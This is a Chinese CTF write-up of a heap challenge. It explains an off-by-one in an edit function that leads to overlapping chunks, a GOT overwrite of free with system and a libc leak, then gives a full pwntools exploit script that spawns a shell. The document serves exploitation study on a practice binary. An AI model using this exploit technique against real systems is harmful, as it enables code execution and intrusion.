漏洞点
漏洞点在edit函数中,是off-by-one。没有UAF
攻击思路
利用off-by-one溢出,将size增大,然后free掉,再申请的话,就是申请比之前大的堆块,这样就能做到向后overlapping,堆块重合。
1 2 3 4
| add(0x18,'a') add(0x10,'a') add(0x10,'a') add(0x10,'/bin/sh\x00')
|
先存放’/bin/sh\x00’,方便后面利用system(‘/bin/sh\x00’)
利用edit中的off-by-one修改chunk3的size位,将0x21修改为0x81
如果将其free掉,那么这个堆块就会被放到0x80的fastbins中,造成了堆块向后扩展、重叠
再将其malloc出来,就可以通过这个堆块溢出到后面0x20的堆块,将保存content的堆块的content指针替换为free的got表地址。那么原本对content堆块地址的操作都是对free的got表的操作。可以进行libc泄露,然后再将其替换为system。这样free函数实际上执行的就是system函数。
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import* import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux","splitw","-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('node5.buuoj.cn', 26335) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num)) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, '\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, '\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc-2.23.so') def add(size,content): rl("Your choice :") sl('1') rl("Size of Heap : ") sl(str(size)) rl("Content of heap:") sl(content)
def edit(index,content): rl("Your choice :") sl('2') rl("Index :") sl(str(index)) rl("Content of heap : ") sl(content) def show(index): rl("Your choice :") sl('3') rl("Index :") sl(str(index)) def delete(index): rl("Your choice :") sl('4') rl("Index :") sl(str(index))
add(0x18,'a') add(0x10,'a') add(0x10,'a') add(0x10,'/bin/sh\x00')
payload = 'a'*0x18 + '\x81' edit(0,payload)
delete(1)
free_got = elf.got['free'] add(0x70,p64(0)*3+p64(0x21)+p64(0x70)+p64(free_got))
show(1) free_addr = l64() libc_base = free_addr - libc.sym['free']
lg('libc_base',libc_base)
system = libc_base + libc.sym['system']
edit(1,p64(system))
delete(3)
inter()
|